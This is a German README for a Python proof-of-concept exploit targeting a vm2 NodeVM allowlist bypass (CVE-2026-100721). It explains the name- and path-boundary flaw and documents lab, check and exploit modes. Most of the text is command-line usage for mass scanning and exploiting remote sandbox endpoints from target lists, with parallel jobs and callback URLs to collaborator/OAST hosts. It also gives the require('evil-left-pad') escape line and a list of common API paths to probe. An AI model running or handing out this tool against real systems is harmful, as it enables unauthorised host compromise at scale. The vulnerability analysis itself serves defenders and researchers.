
Python-PoC für CVE-2026-100721: erkennt und nutzt die Umgehung der externen Allowlist von vm2 <3.12.2 NodeVM aus, erreicht Sandbox-Escape und Host-RCE über ein lokales Lab oder massenhafte HTTP-Ziele.
Python-3-PoC für CVE-2026-100721 — vm2 (npm) vor 3.12.2 fehlerhafte Autorisierung im NodeVM-External-Module-Resolver, was zu Sandbox-Escape und hostseitiger Codeausführung führt, wenn nicht vertrauenswürdiges JavaScript in einem falsch konfigurierten Embedder ausgeführt wird.
PoC-Seite: https://pocbit.org/pocs/cve-2026-100721
vm2 ist eine weit verbreitete Node.js-Bibliothek zum Ausführen von nicht vertrauenswürdigem JavaScript in einer Sandbox innerhalb desselben Node-Prozesses. Anwendungen verwenden NodeVM mit Einschränkungen wie:
require.builtin — welche Kernmodule Gastcode laden darf (fs, child_process, …)require.external — eine Allowlist von npm-Paketnamen (z. B. nur left-pad, lodash)require.resolve — benutzerdefinierter Resolver, der auf ein hostgesteuertes Plugin- oder Abhängigkeitsverzeichnis zeigtcontext: 'host' — externe Pakete werden über das echte Host-require() geladen (üblich aus Performancegründen)Typische Embedder: User-Script-Plattformen, Low-Code-Runner, Plugin-Marktplätze, Online-IDEs, Automatisierungs-Sandboxes und interne „Safe-Eval“-Microservices.
CVE-2026-100721 ist eine fehlerhafte Autorisierung (CWE-863) bei der Entscheidung von vm2, ob ein Gast-require("package-name") erlaubt ist.
Zwei verwandte Fehler wurden über vm2-Releases hinweg behoben (dieselbe Fehlerklasse — Namens-/Pfadgrenzen-Verwechslung):
Die Allowlist-Vorprüfung erstellt ein Muster aus Einträgen wie left-pad, erzwingt jedoch keine vollständige Paketnamen-Grenze. Gastcode kann evil-left-pad anfordern, weil die Zeichenkette left-pad enthält. Wenn dieses kollidierende Paket auf einem Pfad existiert, den der benutzerdefinierte Resolver erreichen kann, lädt vm2 es im Host-Kontext. Top-Level-Modulcode wird vor dem Sandbox-Wrapping ausgeführt → child_process, Dateizugriff, Secrets usw.
lib/resolver-compat.js, behoben in 3.12.2)Wenn ein benutzerdefinierter Resolver mit context: 'host' verwendet wird, zeichnet vm2 erlaubte Verzeichnisse mithilfe eines Präfix-regulären Ausdrucks ohne strikte Pfadtrennzeichen-/Endgrenze auf. Ein Gast kann später require() mit einem absoluten Pfad zu einem nicht allowlisteten Geschwister aufrufen (z. B. .../node_modules/foo2/index.js, wenn nur foo allowlistet war). Das Geschwister besteht isPathAllowedForModule und wird im Host-Prozess ausgeführt.
Betroffen: vm2 < 3.12.2 (CVE-2026-100721). Verwandte Namenskollisions-Fixes wurden auch in 3.11.7 eingeführt.
Behoben: Upgrade auf vm2 ≥ 3.12.2 (und aktuell bleiben).
| Metrik | Wert |
|---|---|
| CVSS 3.1 | 9.0 Kritisch — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CVSS 4.0 | 9.5 Kritisch (Rapid7 / VulnCheck) |
| Auth | Exploit-Kette beginnt üblicherweise nach Codeausführung mit niedrigen Rechten innerhalb der Sandbox (PR:L im Advisory) |
| Credit | Tencent Xuanwu Lab XlabAI, Atuin engine, Guannan Wang et al. |
Remote-„RCE mit einer einzigen HTTP-Anfrage“ ist nicht universell. Praktische Ketten benötigen:
require.external-Allowlist + oft einen benutzerdefinierten require.resolve.context: 'host' (oder gleichwertiges Host-Laden) für Externals.Wenn diese zusammenkommen, ist die Auswirkung eine vollständige Host-Node-Kompromittierung — nicht bloß Missbrauch der Gast-Sandbox.
| Modus | Verhalten |
|---|---|
--lab | Autoritativer lokaler Exploit: lab/ installiert vm2 3.11.5, baut evil-left-pad, demonstriert POCBIT-100721-HOST_EXEC (spiegelt Vendor-Advisory wider) |
check | Remote-vm2-Fingerprint (package.json, Lockfiles, JS-Bundles), Version < 3.12.2, optionales --probe-exec gegen gängige Sandbox-API-Pfade |
exploit | Massentauglicher POST von Allowlist-Bypass-Probe-JS (evil-left-pad, kollidierende Namen) an konfigurierbare --exec-paths; markiert exploited bei Marker in der Antwort oder Sandbox-API-Oberfläche + --callback-url |
| Mass bulk | --list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt |
PoCbit-JSONL-Felder: pocbit, pocbit_catalog, pocbit_page in jeder Zeile.
CLI: grün/magenta PoCbit-Banner, [EXPLOIT] / [SENT] / [FAIL] / [HIT]-Einfärbung (--no-color zum Deaktivieren).
Wichtig: Der Remote-Exploit-Modus zielt auf HTTP-Sandbox-Runner ab, die Sie konfigurieren. Für reine Bibliotheksverifikation verwenden Sie python poc.py --lab (erfordert Node.js + npm).
pip install -r requirements.txt
| Komponente | Zweck |
|---|---|
| Python 3.9+ | Scanner / Massentreiber |
| Node.js + npm | Nur --lab (empfohlen zum Verständnis der CVE) |
cd CVE-2026-100721
python poc.py --lab
Erwartet bei anfälligem vm2:
[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE
python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--exec-paths /api/run,/api/eval --code-field code
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--callback-url http://your-collaborator.example/cve-100721
python poc.py --list targets.txt --mode exploit \
--exec-paths /api/run,/api/sandbox/run \
--callback-url http://oast.example.com/hit -j 15
Benutzerdefiniertes Gast-Skript:
python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js
Ausgaben:
cve_2026_100721_exploit.jsonl — JSON pro Zielexploited.txt — Ziele, bei denen Escape-Marker, Callback-Oberfläche oder Sandbox-API-Treffer auftratenDer Treiber prüft gängige Muster (überschreibbar mit --exec-paths):
/api/run, /api/eval, /api/execute, /api/sandbox/run, /api/vm/run, /api/code/run, /run, /execute, /eval, /api/v1/run, /api/playground/run, …
Ausprobierte JSON-Body-Felder: code, script, source, javascript, js, payload, … (überschreibbar mit --code-field).
Das integrierte Exploit-JS durchläuft kollidierende Paketnamen wie evil-left-pad (Allowlist-Bypass-PoC). Bei einem anfälligen Embedder, der das kollidierende Paket bereits hostet:
require("evil-left-pad"); // host top-level code runs → sandbox escape
Das lokale lab/poc.js implementiert das vollständige Trusted-Advisory-Szenario mit external: ['left-pad'], builtin: [] und benutzerdefiniertem resolve.